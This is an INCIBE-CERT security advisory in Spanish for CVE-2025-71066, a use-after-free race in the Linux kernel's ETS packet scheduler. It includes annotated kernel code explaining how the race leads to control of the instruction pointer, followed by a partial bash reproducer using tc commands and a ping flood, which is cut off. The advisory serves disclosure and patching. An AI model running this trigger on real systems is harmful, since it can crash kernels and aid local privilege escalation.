Instituto Nacional de ciberseguridad. Sección Incibe
Instituto Nacional de Ciberseguridad. Sección INCIBE-CERT

Vulnerabilidad en Linux (CVE-2025-71066)

Gravedad:
Pendiente de análisis
Tipo:
No Disponible / Otro tipo
Fecha de publicación:
13/01/2026
Última modificación:
19/01/2026

Descripción

En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:<br /> <br /> net/sched: ets: Siempre eliminar la clase de la lista activa antes de eliminar en ets_qdisc_change<br /> <br /> zdi-disclosures@trendmicro.com dice:<br /> <br /> La vulnerabilidad es una condición de carrera entre &amp;#39;ets_qdisc_dequeue&amp;#39; y<br /> &amp;#39;ets_qdisc_change&amp;#39;. Conduce a UAF en el objeto &amp;#39;struct Qdisc&amp;#39;.<br /> El atacante requiere la capacidad de crear un nuevo usuario y un espacio de nombres de red<br /> para activar el error.<br /> Ver mi comentario adicional al final del análisis.<br /> <br /> Análisis:<br /> <br /> static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt,<br /> struct netlink_ext_ack *extack)<br /> {<br /> ...<br /> <br /> // (1) este bloqueo está evitando que el manejador .change (&amp;#39;ets_qdisc_change&amp;#39;)<br /> //compita con el manejador .dequeue (&amp;#39;ets_qdisc_dequeue&amp;#39;)<br /> sch_tree_lock(sch);<br /> <br /> for (i = nbands; i &amp;lt; oldbands; i++) {<br /> if (i &amp;gt;= q-&amp;gt;nstrict &amp;amp;&amp;amp; q-&amp;gt;classes[i].qdisc-&amp;gt;q.qlen)<br /> list_del_init(&amp;amp;q-&amp;gt;classes[i].alist);<br /> qdisc_purge_queue(q-&amp;gt;classes[i].qdisc);<br /> }<br /> <br /> WRITE_ONCE(q-&amp;gt;nbands, nbands);<br /> for (i = nstrict; i &amp;lt; q-&amp;gt;nstrict; i++) {<br /> if (q-&amp;gt;classes[i].qdisc-&amp;gt;q.qlen) {<br /> // (2) la clase se añade a q-&amp;gt;active<br /> list_add_tail(&amp;amp;q-&amp;gt;classes[i].alist, &amp;amp;q-&amp;gt;active);<br /> q-&amp;gt;classes[i].deficit = quanta[i];<br /> }<br /> }<br /> WRITE_ONCE(q-&amp;gt;nstrict, nstrict);<br /> memcpy(q-&amp;gt;prio2band, priomap, sizeof(priomap));<br /> <br /> for (i = 0; i &amp;lt; q-&amp;gt;nbands; i++)<br /> WRITE_ONCE(q-&amp;gt;classes[i].quantum, quanta[i]);<br /> <br /> for (i = oldbands; i &amp;lt; q-&amp;gt;nbands; i++) {<br /> q-&amp;gt;classes[i].qdisc = queues[i];<br /> if (q-&amp;gt;classes[i].qdisc != &amp;amp;noop_qdisc)<br /> qdisc_hash_add(q-&amp;gt;classes[i].qdisc, true);<br /> }<br /> <br /> // (3) el qdisc se desbloquea, ahora dequeue puede ser llamado en paralelo<br /> // al resto del manejador .change<br /> sch_tree_unlock(sch);<br /> <br /> ets_offload_change(sch);<br /> for (i = q-&amp;gt;nbands; i &amp;lt; oldbands; i++) {<br /> // (4) estamos reduciendo el contador de referencias para el qdisc de nuestra clase y<br /> // liberándolo<br /> qdisc_put(q-&amp;gt;classes[i].qdisc);<br /> // (5) Si llamamos a .dequeue entre (4) y (5), tendremos<br /> // un UAF fuerte y podremos controlar RIP<br /> q-&amp;gt;classes[i].qdisc = NULL;<br /> WRITE_ONCE(q-&amp;gt;classes[i].quantum, 0);<br /> q-&amp;gt;classes[i].deficit = 0;<br /> gnet_stats_basic_sync_init(&amp;amp;q-&amp;gt;classes[i].bstats);<br /> memset(&amp;amp;q-&amp;gt;classes[i].qstats, 0, sizeof(q-&amp;gt;classes[i].qstats));<br /> }<br /> return 0;<br /> }<br /> <br /> Comentario:<br /> Esto sucede porque algunas de las clases tienen sus qdiscs asignados a<br /> NULL, pero permanecen en la lista activa. Este commit soluciona este problema al siempre<br /> eliminar la clase de la lista activa antes de eliminar y liberar su<br /> qdisc asociado.<br /> <br /> Pasos para Reproducir<br /> (versión recortada de lo que fue enviado por zdi-disclosures@trendmicro.com)<br /> <br /> ```<br /> DEV="${DEV:-lo}"<br /> ROOT_HANDLE="${ROOT_HANDLE:-1:}"<br /> BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2<br /> PING_BYTES="${PING_BYTES:-48}"<br /> PING_COUNT="${PING_COUNT:-200000}"<br /> PING_DST="${PING_DST:-127.0.0.1}"<br /> <br /> SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}"<br /> SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}"<br /> SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}"<br /> <br /> cleanup() {<br /> tc qdisc del dev "$DEV" root 2&amp;gt;/dev/null<br /> }<br /> trap cleanup EXIT<br /> <br /> ip link set "$DEV" up<br /> <br /> tc qdisc del dev "$DEV" root 2&amp;gt;/dev/null || true<br /> <br /> tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2<br /> <br /> tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \<br /> tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT"<br /> <br /> tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2<br /> tc -s qdisc ls dev $DEV<br /> <br /> ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \<br /> &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;<br /> tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0<br /> tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2<br /> tc -s qdisc ls dev $DEV<br /> tc qdisc del dev "$DEV" parent <br /> ---truncated---<br /> ```

Impacto